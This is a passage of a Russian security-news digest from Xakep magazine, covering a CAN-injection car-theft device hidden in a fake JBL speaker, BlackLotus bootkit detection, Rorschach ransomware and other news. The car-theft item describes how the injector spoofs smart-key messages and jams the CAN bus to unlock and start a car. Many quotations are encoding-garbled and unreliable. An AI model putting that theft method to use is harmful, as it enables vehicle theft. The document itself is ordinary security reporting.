лемах на каком-то кон крет ном чип сете или кон крет ных моделях материн ских
плат.

К при меру, поль зователь, чей про цес сор ока зал ся физичес ки пов режден,
приз нался, что исполь зовал не новей шую вер сию BIOS для сво ей материн- 
ской пла ты Asus, ког да это слу чилось. То есть на про цес сор мог ло быть
подано слиш ком боль шое нап ряжение.

В AMD пока не про ком менти рова ли жалобы поль зовате лей, но всем вла- 
дель цам Ryzen 7000X3D сто ит убе дить ся, что на их материн ских пла тах уста- 
нов лены пос ледние обновле ния BIOS, а так же сле дить за выходом новых вер- 
сий, исправ ляющих имен но эту проб лему.

НИЗКИЙ УРОВЕНЬ ЦИФРОВОЙ ГРАМОТНОСТИ
 пред ста вите лей биз неса, при няв ших учас тие в опро се «Лабора тории Кас пер ско го», счи- 

тают, что низ кий уро вень циф ровой гра мот ности сот рудни ков — это клю чевая проб лема кибер- 
безопас ности биз неса в Рос сии.

57%

На вто рое мес то опро шен ные пос тавили потерю или утеч ку дан ных ( ), а на треть ем мес- 
те — нех ватка бюд жета, необ ходимо го, что бы обес печить кибер безопас ность кор поратив ной
ИТ-инфраструк туры ( ).

40%

31%

Ча ще все го ком пании стал кива ются с неп равомер ным (не соот ветс тву ющим полити кам ком- 
пании) исполь зовани ем устрой ств ( ). Вто рая по рас простра нен ности проб лема — вре мя
и день ги, ухо дящие на обу чение сот рудни ков соб людению кор поратив ной полити ки кибер- 
безопас ности (  опро шен ных). На треть ем мес те — утеч ки дан ных из-за оши бок или халат- 
ности сот рудни ков (эту проб лему упо мяну ли  учас тни ков опро са).

38%

24%
22%

В нас тоящее вре мя уже в каж дой треть ей орга низа ции в Рос сии сущес тву ют ИБ-полити ки вза- 
имо дей ствия с пос тавщи ками и под рядчи ками ( ). Еще  рес понден тов сооб щили, что
готовы инвести ровать в них в будущем.

35% 39%

КОЛОНКИ JBL
ИСПОЛЬЗУЮТ
ДЛЯ УГОНА

Ис сле дова тели обна ружи ли в про даже хакер ский девайс, который поз воля ет
уго нять раз личные модели авто моби лей, исполь зуя новый тип атак — CAN-
инъ екции. Для реали зации такой ата ки угон щики получа ют дос туп к CAN-
шине авто через про вод ку в фарах, а устрой ства для взло ма мас киру ют
под Bluetooth-колон ки JBL (на слу чай, если у полиции или про хожих воз никнут
какие-то подоз рения).

Эта исто рия началась в прош лом году, ког да вла делец Toyota
RAV4 и ИБ-иссле дова тель Иан Табор (Ian Tabor) заметил, что его машина
получи ла стран ные пов режде ния перед него кры ла, а кор пус ее фары дваж ды
за три месяца был час тично разоб ран. Сна чала Табор спи сал слу чив шееся
на обыч ный ван дализм, одна ко вско ре пос ле это го машину угна ли, а затем
и его сосед обна ружил про пажу сво его Toyota Land Cruiser.

Та бор стал сам рас сле довать про изо шед шее и выявил новую схе му уго на
авто без клю ча, о которой не зна ли ИБ-экспер ты.

Та бор начал с изу чения дан ных телема тичес кой сис темы MyT, которую
Toyota исполь зует для отсле жива ния ано малий в работе сво их тран спортных
средств, так называ емых DTC (diagnostic trouble codes — диаг ности чес кие
коды неис прав ностей). Выяс нилось, что во вре мя уго на его авто мобиль
зафик сировал мно жес тво DTC.

Ко ды оши бок ука зыва ли на потерю свя зи меж ду CAN-шиной (controller
area network) и элек трон ным бло ком управле ния (ЭБУ) левой фары авто.
Такие ЭБУ мож но най ти прак тичес ки во всех сов ремен ных авто моби лях, они
исполь зуют ся для управле ния мно жес твом фун кций, вклю чая работу стек- 
лоочис тителей, тор мозов, фар и дви гате ля. Кро ме того, ЭБУ регуляр но
переда ют ста тус-сооб щения CAN, что бы дер жать дру гие ЭБУ в кур се текущей
ситу ации. Ниже показа на схе ма CAN для RAV4.

Ко ды DTC, ука зыва ющие на то, что левая фара RAV4 потеря ла связь с CAN,
не слиш ком уди вили иссле дова теля, так как воры обор вали про вод ку. Более
инте рес ным Табору показал ся отказ мно гих дру гих ЭБУ, про изо шед ший
одновре мен но, в том чис ле перед них камер и управле ния гиб ридным дви- 
гате лем. Все это сум марно сви детель ство вало о том, что не ЭБУ выш ли
из строя, а что-то про изош ло с CAN-шиной.

Ис сле дова тель стал искать объ ясне ние и начал изу чать информа цию
об уго нах авто на хак форумах в дар кне те и на YouTube. Вско ре он нат кнул ся
на рек ламу устрой ств, пред лага ющих «emergency start» («ава рий ный запуск»),
сто имостью 5500 дол ларов. Яко бы такие устрой ства раз работа ны, что бы вла- 
дель цы авто и мас тера по ремон ту мог ли их исполь зовать, ког да нет клю ча,
одна ко их явно мож но было при менить и в дру гих целях.

В ито ге Табор при обрел одно из таких устрой ств, обе щав шее бес клю- 
чевой запуск дви гате ля на раз личных моделях Lexus и Toyota (вклю чая RAV4),
и прис тупил к реверс-инжи нирин гу. На этом эта пе он заручил ся под дер жкой
сво его дру га и кол леги, экспер та по авто мобиль ной безопас ности и тех- 
ничес кого дирек тора Canis Automotive Labs Кена Тин делла (Ken Tindell), что бы
разоб рать ся, что имен но про изош ло с CAN-шиной его RAV4.

Как рас ска зыва ют Тин делл и Табор, рань ше авто угон щики в основном
устра ива ли рет ран сля цион ные ата ки, то есть уси лива ли сиг нал меж ду авто- 
моби лем и бре локом, который исполь зует ся для его раз бло киров ки и запус- 
ка. Дело в том, что бре локи обыч но работа ют толь ко на рас сто янии нес коль- 
ких мет ров от авто моби ля, но, помес тив рядом с машиной прос тое ради оус- 
трой ство, угон щики уси лива ют сла бый сиг нал, который посыла ют авто моби- 
ли.

При дос таточ ном уси лении такие сооб щения успешно дос тига ют бли жай- 
шего дома или офи са, где находит ся бре лок. Ког да тот отве чает зашиф- 
рован ным сооб щени ем, которое дол жно отпе реть и запус тить дви гатель
авто моби ля, рет ран сля тор переда ет его машине. В ито ге прес тупник
успешно уез жает на чужом авто.

«

»

«Òåïåðü, êîã äà ëþäè çíà þò, êàê ðàáîòà þò ðåò ðàí ñëÿ öèîí íûå àòà êè,
ìíî ãèå âëà äåëü öû àâòî ìîáè ëåé äåð æàò ñâîè êëþ ÷è â ìåòàë ëè÷åñ êèõ
ÿùè êàõ (áëî êèðóÿ ðàäè îñèã íàëû îò àâòî ìîáè ëÿ), à íåêîòî ðûå
àâòîïðî èçâî äèòå ëè âûïóñ êàþò êëþ ÷è, ïåðåõî äÿùèå â ñïÿ ùèé ðåæèì,
åñëè íå äâè ãàþò ñÿ â òå÷åíèå íåñ êîëü êèõ ìèíóò, — ðàñ ñêà çûâà åò Òèí- 
äåëë. — Ñòîë êíóâ øèñü ñ ïîðàæå íèåì, íî íå æåëàÿ îòêà çûâàòü ñÿ
îò ïðè áûëü íîé äåÿòåëü íîñ òè, âîðû ïåðåø ëè ê íîâîìó ñïî ñîáó îáõî äà
ñèñ òåì áåçîïàñ íîñòè: îáõî äó âñåé ñèñ òåìû ñìàðò êëþ ÷åé â öåëîì.
Îíè äåëà þò ýòî ñ ïîìîùüþ íîâîé àòà êè — CAN-èíú åêöèé».

Свои выводы иссле дова тели про иллюс три рова ли  с камеры
наб людения, где ата ка с при мене нием CAN-инъ екций про демонс три рова на
в дей ствии.

ко рот ким видео

Ин терес но, что при обре тен ный Табором CAN-инжектор был замас- 
кирован под безобид ную Bluetooth-колон ку JBL, видимо, что бы угон щик
не вызывал подоз рений у про хожих или полиции. Так же СМИ сооб щали, что
порой хакер ские инс тру мен ты мас киру ют даже .под ста рые Nokia 3310

Ког да при обре тен ное устрой ство вскры ли, ста ло оче вид но, что это сов- 
сем не колон ка.

Продолжение статьи →

https://www.politie.nl/checkyourhack
https://www.reddit.com/r/Amd/comments/12ubu7h/am5_asus_mobos_burndead_problems/
https://www.reddit.com/r/Amd/comments/12tlk7s/7800x3d_just_killed_itself_and_my_mobo/
https://youtu.be/bP7kNy5KBnA
https://youtu.be/oeJumGZ56CY
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Внут ри кор пуса скры вались ком понен ты сто имостью око ло 10 дол ларов
США, вклю чая чип PIC18F, содер жащий аппа рат ное обес печение CAN с про- 
шив кой, CAN-тран сивер (стан дар тный CAN-чип, который прев раща ет циф- 
ровые сиг налы от CAN-железа на PIC18F в ана лого вое нап ряжение, переда- 
ющееся CAN через про вод ку), а так же допол нитель ную мик росхе му, под клю- 
чен ную к CAN-тран сиверу.

«

»

«Óñòðîé ñòâî ïîëó÷à åò ïèòàíèå îò àêêó ìóëÿ òîðà êîëîí êè è ïîä êëþ ÷àåò- 
ñÿ ê øèíå CAN. CAN-øèíà — ýòî íåñ êîëü êî ïðî âîäîâ, ñêðó ÷åí íûõ
âìåñ òå, è â àâòî ìîáè ëå åñòü íåñ êîëü êî òàêèõ øèí, ëèáî ñîåäè íåí íûõ
íàï ðÿìóþ ñ ïîìîùüþ ðàçú åìîâ, ëèáî ïîä êëþ ÷åí íûõ ÷åðåç êîìïü- 
þòåð øëþç, êîïèðó þùèé ÷àñòü ñîîá ùåíèé CAN òóäà è îáðàòíî ìåæ äó
øèíàìè, ê êîòîðûì ïîä êëþ ÷åí, — îáú ÿñíÿ þò ñïå öèàëèñ òû. — Óñòðîé- 
ñòâî óãîí ùèêîâ ïðåä íàçíà ÷åíî äëÿ ïîä êëþ ÷åíèÿ ê óïðàâëÿ þùåé CAN-
øèíå (êðàñ íûé öâåò íà ñõå ìå) äëÿ èìè òàöèè ÝÁÓ ñìàðò êëþ ÷à.

Ñó ùåñ òâó åò íåñ êîëü êî ñïî ñîáîâ äîá ðàòü ñÿ äî ïðî âîä êè ýòîé CAN-
øèíû, è åäèíñ òâåí íîå óñëî âèå, êîòîðîå íóæ íî ñîá ëþñòè: ïðî âîäà
äîë æíû ïîä õîäèòü áëèç êî ê êîð ïóñó àâòî ìîáè ëÿ, ÷òî áû èõ ìîæ íî áûëî
äîñ òàòü (ïðî âîäà, çàêîïàí íûå ãëó áîêî â àâòî ìîáè ëå, íåï ðàêòè÷ íû
äëÿ âîðîâ, ïûòà þùèõ ñÿ óãíàòü ïðè ïàð êîâàí íûé íà óëè öå àâòî ìîáèëü).
Áåçóñ ëîâíî, ñàìûé ïðîñ òîé ïóòü ê ýòîé CAN-øèíå íà RAV4 ëåæèò
÷åðåç ôàðû. Íóæ íî îòîä âèíóòü áàì ïåð è ïîëó÷èòü äîñ òóï ê CAN-øèíå
÷åðåç ðàçú åì ôàðû.

Âîç ìîæåí è äðó ãîé ñïî ñîá äîñ òóïà: ïðî äåëàòü îòâåð ñòèå â ïàíåëè,
çà êîòîðîé ïðî õîäÿò ïðî âîäà CAN, ïåðåðå çàòü èõ è ïîä êëþ ÷èòü CAN-
èíæåêòîð. Íî òàê êàê ñòî èìîñòü àâòî ìîáè ëÿ ñ äûð êîé ïàäà åò, âîðû
îáû÷ íî âûáèðà þò áîëåå ïðîñ òîé ïóòü».

При пер вом вклю чении CAN-инжектор не дела ет ничего: что бы узнать
о готов ности авто моби ля, он ждет опре делен ного сооб щения от CAN.
Получив его, он отправ ляет серию сооб щений (при мер но 20 раз в секун ду)
и акти виру ет допол нитель ную цепь, под клю чен ную к CAN-тран сиверу. Такие
серии сооб щений содер жат сиг нал о валид ности смарт-клю ча, и шлюз
переда ет этот сиг нал ЭБУ управле ния дви гате лем.

Ис сле дова тели отме чают, что обыч но это про воци рует путани цу, так
как CAN-сооб щения от нас тояще го кон трол лера смарт-клю ча будут кон флик- 
товать с сооб щени ями CAN-инжекто ра, а это может помешать шлю зу
передать сооб щение-инжект. Здесь на помощь угон щикам при ходит допол- 
нитель ная цепь, которая изме няет работу CAN-шины таким обра зом, что бы
дру гие ЭБУ на этой шине не мог ли общать ся меж ду собой.

Кро ме того, на кор пусе фаль шивой колон ки JBL есть кноп ка Play, которая
под клю чена к PIC18F. Ког да эта кноп ка нажата, поток сооб щений CAN нем- 
ного меня ется, и угон щики дают коман ду ЭБУ отпе реть две ри авто (как
если бы была нажата кноп ка Open на смарт-клю че). Пос ле это го воры могут
отсо еди нить CAN-инжектор, садить ся в машину и уез жать.

Та бор и Тин делл пишут, что раз работа ли две воз можные схе мы защиты
от CAN-инъ екций и уве доми ли пред ста вите лей Toyota о сво их выводах, одна- 
ко пока не получи ли от ком пании никако го отве та. При этом экспер там уда- 
лось добить ся прис воения этой проб леме CVE-иден тифика тора 

, свя зан ного с Toyota RAV4.
CVE-2023-

29389
В отче те отме чает ся, что в сети мож но най ти ана логич ные девай сы

для взло ма и уго на, нацелен ные и на мно гие дру гие авто, вклю чая BMW,
Cadillac, Chrysler, Ford, GMC, Honda, Jaguar, Jeep, Maserati, Nissan, Peugeot,
Renault и Volkswagen.

ЗАБЛОКИРОВАНО  МИЛЛИОНОВ МОШЕННИЧЕСКИХ
ЗВОНКОВ

135

Рос комнад зор сооб щил, что недав но зарабо тав шая сис тема «Антифрод», которая поз воля ет
уси лить кон троль за вызова ми и выяв лять под менные номера, заб локиро вала более

 мошен ничес ких вызовов.135 000 000

В нас тоящее вре мя к сис теме под клю чены  основных опе рато ра свя зи («Мегафон»,
«МТС», «Билайн» и Tele2). Под клю чение к плат форме бес плат но и воз можно в трех вари антах:
облачное под клю чение, адап тация спе циаль ного ПО на сер вере опе рато ра и аппа рат ное при- 
соеди нение сис темы свя зи опе рато ра к узлу вза имо дей ствия.

че тыре

По дан ным СМИ, за про пуск под менных номеров опе рато рам уже при ходят штра фы в раз мере
при мер но .500 000 руб лей

КАК ОБНАРУЖИТЬ
BLACKLOTUS

Ком пания Microsoft подели лась , которое дол жно помочь орга- 
низа циям обна ружить уста нов ку UEFI-бут кита BlackLotus, экс плу ати рующе го
уяз вимость CVE-2022-21894. Так же в ком пании объ ясни ли, как луч ше вос ста- 
нав ливать заражен ную сис тему.

ру ководс твом

Впер вые BlackLotus  в октябре 2022 года. Его про давец
утвер ждал, что бут кит име ет встро енный обход Secure Boot, встро енную
защиту от уда ления на уров не Ring 0 / ядра, а так же запус кает ся в режиме
вос ста нов ления и в безопас ном режиме. Сооб щалось, что мал варь осна- 
щена анти вир туали заци ей, анти отладкой и обфуска цией, что усложня ет ее
обна руже ние и ана лиз. Так же, сог ласно заяв лени ям про дав ца, защит ное
ПО не может обна ружить и унич тожить бут кит, так как тот запус кает ся
под учет ной записью SYSTEM внут ри легитим ного про цес са.

был замечен

По мимо это го, BlackLotus спо собен отклю чать защит ные механиз мы
на целевых машинах, в том чис ле Hypervisor-Protected Code Integrity (HVCI)
и Windows Defender, а так же обхо дить User Account Control (UAC).

BlackLotus име ет раз мер 80 Кбайт, написан на ассем бле ре и C и уме ет
опре делять геозо ну жер твы, что бы избе гать зараже ния машин в стра нах СНГ.
В прош лом году вре донос пред лагал ся к про даже за 5000 дол ларов США,
а каж дая новая вер сия оце нива лась еще в 200 дол ларов США.

Поз же угро зу  ана лити кам из ком пании ESET. Они под- 
твер дили, что бут кит лег ко обхо дит Secure Boot и для зак репле ния в сис теме
исполь зует уяз вимость  годич ной дав ности.

уда лось изу чить

CVE-2022-21894
Под черки валось, что Microsoft устра нила эту проб лему еще в янва- 

ре 2022 года, но зло умыш ленни ки по-преж нему могут исполь зовать ее, так
как зат ронутые под писан ные бинар ники не были добав лены в 

 UEFI. По сло вам ана лити ков, BlackLotus — это пер вый задоку мен тирован- 
ный слу чай зло упот ребле ния этой уяз вимостью.

от зывной спи- 
сок

Как теперь рас ска зали экспер ты Microsoft, во вре мя ана лиза устрой ств,
ском про мети рован ных с помощью BlackLotus, они выяви ли ряд осо бен- 
ностей, которые поз воля ют обна ружить зараже ние. Иссле дова тели говорят,
что защит ники могут искать приз наки уста нов ки BlackLotus в сле дующих мес- 
тах:

не дав но соз данные и заб локиро ван ные фай лы заг рузчи ка;•
про межу точ ный каталог, исполь зуемый во вре мя уста нов ки BlackLotus,
в EFI System Partition (ESP);

•

из менение клю ча реес тра Hypervisor-Protected Code Integrity (HVCI);•
се тевые жур налы;•
жур налы кон фигура ции заг рузки.•

Из менения в реес тре

«
»

«Î÷åíü âàæ íî îòìå òèòü, ÷òî èñïîëü çîâàíèå çëî óìûø ëåííè êàìè ýòî ãî
áóò êèòà â ïåð âóþ î÷å ðåäü ÿâëÿ åòñÿ ìåõàíèç ìîì ñîõ ðàíåíèÿ è çàùèòû
îò óêëî íåíèÿ. Ýòî íå ïîëåç íàÿ íàã ðóçêà ïåð âîãî ýòà ïà èëè âåê òîð
íà÷àëü íîãî äîñ òóïà, áóò êèò ìîæ íî ðàç âåðíóòü òîëü êî íà óñòðîé ñòâå,
ê êîòîðî ìó çëî óìûø ëåííèê óæå ïîëó÷èë ëèáî ïðè âèëå ãèðî âàí íûé,
ëèáî ôèçè÷åñ êèé äîñ òóï», — ãîâîðèò ñÿ â ñîîá ùåíèè Microsoft.

Ана лити ки пишут, что BlackLotus бло киру ет фай лы, которые записы вает в EFI
(ESP), делая их недос тупны ми. Одна ко их име на, вре мя соз дания и сооб- 
щения об ошиб ке, получен ные при попыт ке дос тупа к ним, дол жны сви детель- 
ство вать о наличии бут кита, рав но как и кас томный каталог (/system32/), соз- 
данный и не уда лен ный во вре мя уста нов ки.

«

»

«Åñëè â ESP óñòðîé ñòâà îáíà ðóæè âàþò ñÿ íåäàâ íî èçìå íåí íûå è çàá- 
ëîêèðî âàí íûå ôàé ëû, îñî áåí íî òå, êîòîðûå ñîîò âåòñ òâó þò èçâåñ òíûì
èìå íàì ôàé ëîâ çàã ðóç÷è êà BlackLotus, èõ ñëå äóåò ðàñ ñìàò ðèâàòü
êàê âåñü ìà ïîäîç ðèòåëü íûå. Óñòðîé ñòâî íóæ íî óäà ëèòü èç ñåòè
äëÿ ïðî âåð êè íà íàëè÷èå äîïîë íèòåëü íûõ äîêàçà òåëü ñòâ ïðè ñóòñ òâèÿ
BlackLotus èëè ïîñ ëåäó þùèõ çà çàðàæå íèåì äåé ñòâèé», — îòìå ÷àåò
Microsoft.

Так же защит ники могут обна ружить опре делен ные изме нения в реес тре, свя- 
зан ные с бут китом, записи жур нала, соз данные, ког да BlackLotus отклю чает
Microsoft Defender или добав ляет ком понен ты в цикл заг рузки, и пос тоян ное
исхо дящее сетевое соеди нение winlogon.exe на порт 80, которое тоже ука- 
зыва ет на зараже ние.

Для очис тки машины, заражен ной BlackLotus, спе циалис ты рекомен дуют
изо лиро вать ее от сети, перефор матиро вать и уста новить чис тую ОС с раз- 
делом EFI или вос ста новить сис тему из чис той резер вной копии с раз делом
EFI.

Что бы избе жать зараже ния BlackLotus или дру гим вре донос ным ПО,
исполь зующим уяз вимость CVE-2022-21894, Microsoft рекомен дует орга низа- 
циям пом нить о прин ципе наимень ших при виле гий и соб людать гиги ену учет- 
ных дан ных.

«
»

«Èçáå ãàé òå èñïîëü çîâàíèÿ ñëó æåá íûõ ó÷åò íûõ çàïèñåé íà óðîâ íå
äîìåíà è àäìè íèñ òðà òîðà. Îãðà íè÷å íèå ïðè âèëå ãèé ëîêàëü íîãî àäìè- 
íèñ òðà òîðà ìîæåò ïîìî÷ü ïðå äîò âðà òèòü óñòà íîâ êó òðî ÿíîâ óäà ëåí- 
íîãî äîñ òóïà (RAT) è äðó ãèõ íåæåëà òåëü íûõ ïðè ëîæå íèé», — ãîâîðÿò
â Microsoft.

НАЙДЕН САМЫЙ БЫСТРЫЙ ШИФРОВАЛЬЩИК
Ана лити ки Check Point обна ружи ли вымога тель скую мал варь , которая уже исполь- 
зовалась для ата ки на неназ ванную аме рикан скую ком панию. Вре донос отли чает ся край не
высокой ско ростью шиф рования фай лов, и Check Point называ ет эту угро зу «одной из самых
быс трых прог рамм-вымога телей», так как Rorschach работа ет даже быс трее, чем LockBit 3.0.

Rorschach

Что бы опре делить ско рость шиф рования Rorschach, экспер ты про вели тест с исполь зовани ем
 фай лов на машине с 6-ядер ным про цес сором. Мал вари пот ребова лось 

для шиф рования дан ных, тог да как LockBit 3.0, до недав него вре мени счи тав ший ся самым быс- 
трым вымога телем, спра вил ся с той же задачей за .

220 000 4,5 минуты

7 минут

РКН ЗАПУСТИЛ СВОЙ
DOWNDETECTOR

За рабо тал сер вис « », соз данный Цен тром монито рин га
и управле ния сетью свя зи обще го поль зования (ЦМУ ССОП) при под ведомс- 
твен ном Рос комнад зору ФГУП «Глав ный ради очас тотный центр» (ГРЧЦ). Сер- 
вис был соз дан на замену Downdetector, из которо го в прош лом году исчезли
все рос сий ские ком пании и сер висы.

Мо нито ринг сбо ев

«
»

«Åñëè âû ñòîë êíó ëèñü ñ ïðîá ëåìîé â ðàáîòå èíòåðíåò ñåð âèñà, áàí- 
êîâ ñêî ãî ïðè ëîæå íèÿ èëè îïå ðàòî ðà ñâÿ çè, ìîæåòå ñîîá ùèòü îá ýòîì
íà ïîð òàëå. Íà îñíî âå âñåõ îáðà ùåíèé ïîëü çîâàòå ëåé ôîð ìèðó åòñÿ
òåï ëîâàÿ êàð òà. Åñëè ñáîé ìàñ ñîâûé, ñïå öèàëèñ òû Öåí òðà ïîä êëþ ÷àò- 
ñÿ ê ðåøåíèþ ïðîá ëåìû ñîâ ìåñ òíî ñ îïå ðàòî ðàìè ñâÿ çè è âëà äåëü- 
öàìè ñåð âèñîâ», — ñîîá ùàåò ÐÊÍ.

Как пишут пред ста вите ли ЦМУ ССОП, сер вис даст поль зовате лям воз- 
можность оставлять сооб щения о нерабо тос пособ ности интернет-сер висов,
бан ков ских при ложе ний и опе рато ров свя зи, отсле живать ста биль ность их
фун кци они рова ния и изу чать геог рафию зафик сирован ных проб лем.

Кро ме того, на пор тале Цен тра был запущен спе циаль ный сер вис для про- 
филь ных спе циалис тов — , который дает воз можность получить
информа цию об IP-адре сах, авто ном ных сис темах и опти маль ных мар шру тах
тра фика.

Looking Glass

«

»

«Êëþ ÷åâàÿ îñî áåí íîñòü ñåð âèñà — èñïîëü çîâàíèå ìàð øðóò íîé
èíôîðìà öèè íåïîñ ðåäñ òâåí íî îò âñåõ ðîñ ñèé ñêèõ îïå ðàòî ðîâ ñâÿ çè
ïîñ ðåäñ òâîì èíôîðìà öèîí íîé ñèñ òåìû ìîíèòî ðèí ãà Öåí òðà. Ýòî ïîç- 
âîëÿ åò ïîëó÷àòü äîñ òîâåð íûå äàí íûå î ìàð øðó òå íà èíòå ðåñó þùóþ
ñåòü ñ òî÷ êè çðå íèÿ ëþáîãî ðîñ ñèé ñêî ãî îïå ðàòî ðà», — ðàñ ñêà çàëè
â ÃÐ×Ö, îòìå òèâ, ÷òî äàí íûå ïðå äîñ òàâëÿ þòñÿ â ðåæèìå ðåàëü íîãî
âðå ìåíè.

Гла ва Google Сун дар Пичаи заявил, что стрем ление к внед рению ИИ-тех нологий дол жно тща- 
тель но регули ровать ся, что бы избе жать потен циаль ных негатив ных пос ледс твий. По его сло- 
вам, ИИ может ока зать ся «край не вред ным при неп равиль ном исполь зовании».

Од ним из основных рис ков Пичаи наз вал все воз можные дип фей ки — видео, изоб ражения,
аудио, где люди про изно сят фра зы, которых они на самом деле не говори ли.

→ «Соз дание дип фей ковых видео, которые наносят вред общес тву, дол жно
иметь пос ледс твия. Любой, кто работал с ИИ какое-то вре мя, понима ет, что
это неч то совер шенно иное и нас толь ко глу бокое, что нам пот ребу ются спе-
циаль ные соци аль ные нор мы, что бы мы сумели при думать, как к это му адап- 
тировать ся»,

— счи тает Сун дар Пичаи.

ГЭРИ БОУЗЕР
ВЫШЕЛ НА СВОБОДУ

Быв ший учас тник груп пы Team Xecuter, канадец Гэри «GaryOPA» Боузер (Gary
Bowser) вышел на сво боду пос ле шес тнад цати месяцев тюрем ного зак- 
лючения. Одна ко Боузер по-преж нему дол жен вып латить Nintendo 14,5 мил- 
лиона дол ларов ком пенса ции и, веро ятно, будет пла тить ком пании до кон ца
жиз ни.

На пом ню, что рань ше Team Xecuter пред лагала людям аппа рат ные и прог- 
рам мные решения, поз воляв шие уста нав ливать неофи циаль ные и пират ские
копии игр на кон солях (вклю чая популяр ную Nintendo Switch).

Мы уже , что в 2020 году Боузер был арес тован и в ито ге
приз нал себя винов ным. Дело в том, что в Team Xecuter он работал
над линей кой SX OS для мод динга устрой ств Switch, а так же занимал ся раз- 
работ кой дру гих инс тру мен тов, поз воляв ших поль зовате лям играть в пират- 
ские ROM.

рас ска зыва ли

Бо узер приз нал себя винов ным по двум из один надца ти пун ктов обви- 
нения, свя зан ных с тор говлей устрой ства ми для обхо да защиты и сго вором
с той же целью. Два этих обви нения вмес те пре дус матри вали мак сималь ное
наказа ние в виде десяти лет лишения сво боды, но вза мен на приз нание вины
про кура тура сог ласилась снять с Боузе ра осталь ные девять обви нений.

В ито ге мод дер приз нал, что в пери од с июня 2013 года и вплоть до арес- 
та он «соз натель но и умыш ленно учас тво вал в кибер прес тупной деятель нос ти
по взло му ведущих игро вых кон солей, в рам ках которой раз рабаты вались,
про изво дились и про дава лись раз личные устрой ства для обхо да защиты,
которые поз воляли кли ентам (мод деров) играть в пират ские вер сии виде- 
оигр, защищен ных автор ским пра вом».

Кро ме того, Team Xecuter пытались «скрыть свою незакон ную деятель- 
ность за пред полага емым желани ем под держать доморо щен ных энту зиас- 
тов, которые стре мились раз рабаты вать собс твен ные игры». Дело в том, что,
хотя груп па под держи вала дви жение за пра во на ремонт, все же их про дук ты
поз воляли поль зовате лям играть в пират ские игры.

Учи тывая приз нание вины и тот факт, что Боузер сог ласил ся вып латить
ком пании Nintendo 4 500 000 дол ларов, что бы ком пенси ровать часть убыт ков
от деятель нос ти Team Xecuter, в прош лом году суд отпра вил его за решет ку
на 40 месяцев (3 года и 4 месяца). Так же по отдель ному граж дан ско му иску
мод дер сог ласил ся вып латить ком пании еще 10 мил лионов дол ларов.

Хо тя по офи циаль ной вер сии Team Xecuter нанес ла Nintendo ущерб в раз- 
мере от 65 до 150 мил лионов дол ларов, Боузер сооб щал, что лич но он
зарабо тал лишь око ло 320 тысяч дол ларов за семь лет (получая пря мые пла- 
тежи от Team Xecuter и долю с рек ламных про даж на сай тах, которые он кон- 
тро лиро вал).

Как теперь сооб щили СМИ, про ведя шес тнад цать месяцев в камере пред- 
варитель ного зак лючения и в ито ге получив «скид ку» за хорошее поведе ние,
Боузер вышел из федераль ной тюрь мы и теперь ожи дает воз вра щения в род- 
ную Канаду.

Бо узер уже лич но сооб щил о сво ем осво бож дении в 
, где рас ска зал, что за вре мя пре быва ния в тюрь ме он уже

«порабо тал» на Nintendo. Так, с момен та задер жания он вып латил ком- 
пании 175 дол ларов.

иг ровом под касте
NickMoses 05

Бо узер говорит, что отны не Nintendo будет забирать от 25 до 30% его
еже месяч ного дохода и перед началом вып лат у него будет до шес ти
месяцев. Рань ше он работал бух галте ром, занимал ся ремон том и кон салтин- 
гом. В под касте Боузер выс казал нес коль ко идей о сво ей будущей работе.
Так, меди анная зар пла та в Торон то, куда его, ско рее все го, отпра вят к семье,
сос тавля ла 85 500 канад ских дол ларов в год в 2020 году. Малове роят но, что
мод дер, которо му уже за пять десят и который теперь име ет судимость, суме- 
ет накопить боль ше 14,5 мил лиона дол ларов США для вып латы всех
положен ных ком пенса ций Nintendo.

Поль зователь зас тавил ChatGPT генери ровать клю чи для Windows 95

Влас ти Гер мании зак рыли хакер ский хос тинг FlyHosting

Western Digital взло мали. Сер вис My Cloud не работал неделю

Уль траз вуковая ата ка помога ет взла мывать голосо вых помощ ников и умные устрой ства

Microsoft и Fortra будут бороть ся со зло упот ребле ниями Cobalt Strike

Google Pay по ошиб ке перечис лил день ги на сче та поль зовате лей

Баг в чипах HiSilicon и Qualcomm прев раща ет точ ки дос тупа в устрой ства для слеж ки

С форума Kodi утек ли дан ные 400 000 поль зовате лей

Ком пании не очи щают сетевое обо рудо вание при про даже на вто рич ном рын ке

Вре донос Goldoson про ник в Google Play и наб рал 100 мил лионов уста новок

* Ïðè íàä ëåæèò êîì ïàíèè Meta, ÷üÿ äåÿòåëü íîñòü ïðèç íàíà ýêñ òðå ìèñò- 

ñêîé è çàï ðåùåíà â Ðîñ ñèè.

https://nvd.nist.gov/vuln/detail/CVE-2023-29389
https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/
https://xakep.ru/2022/10/18/blacklotus/
https://xakep.ru/2023/03/02/blacklotus-eset/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21894
https://uefi.org/revocationlistfile
https://cmu.gov.ru/ru/monitoring/
https://cmu.gov.ru/ru/lg/
https://xakep.ru/2021/11/03/gary-bowser-team-xecuter/
https://www.youtube.com/watch?v=IGHDuYkdK7M&t=26s
https://xakep.ru/2023/04/03/chatgpt-win95/
https://xakep.ru/2023/04/03/flyhosting-down/
https://xakep.ru/2023/04/04/wd-hacked/
https://xakep.ru/2023/04/04/nuit/
https://xakep.ru/2023/04/07/ms-vs-cobalt-strike/
https://xakep.ru/2023/04/07/dogfooding-google-pay-remittance/
https://xakep.ru/2023/04/11/icmp-redirects/
https://xakep.ru/2023/04/13/kodi-leak/
https://xakep.ru/2023/04/24/corporate-secrets-for-100/
https://xakep.ru/2023/04/17/goldoson/
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В филь мах порой мож но уви деть, как ковар- 
ный хакер с помощью неболь шого кар- 
манно го устрой ства раз мером с мобиль- 
ный телефон взла мыва ет бес про вод ную
сеть какой-нибудь фир мы, про ника ет на ее
сер веры и кра дет пароли. Сегод ня мы
прев ратим ся в героя такого филь ма и под- 
робно раз берем конс трук цию устрой ства
Pineapple, обла дающе го поис тине фан- 
тасти чес кими воз можнос тями. Но самое
глав ное — его мож но соб рать самос- 
тоятель но, и мы под робно рас ска жем как.

Эта статья — часть серии пуб ликаций о прак- 
тичес ких при емах взло ма и атак с исполь зовани- 
ем под ручных устрой ств, которые мож но соб рать
дома. В этих матери алах мы рас кры ваем прос тые
спо собы получе ния несан кци они рован ного дос- 
тупа к защищен ной информа ции и показы ваем,
как ее огра дить от подоб ных атак. Пре дыду щая
статья серии: «

».

Де вайс-невидим ка. Встра иваем ся
в локаль ную сеть с помощью «невиди мого»
хакер ско го устрой ства

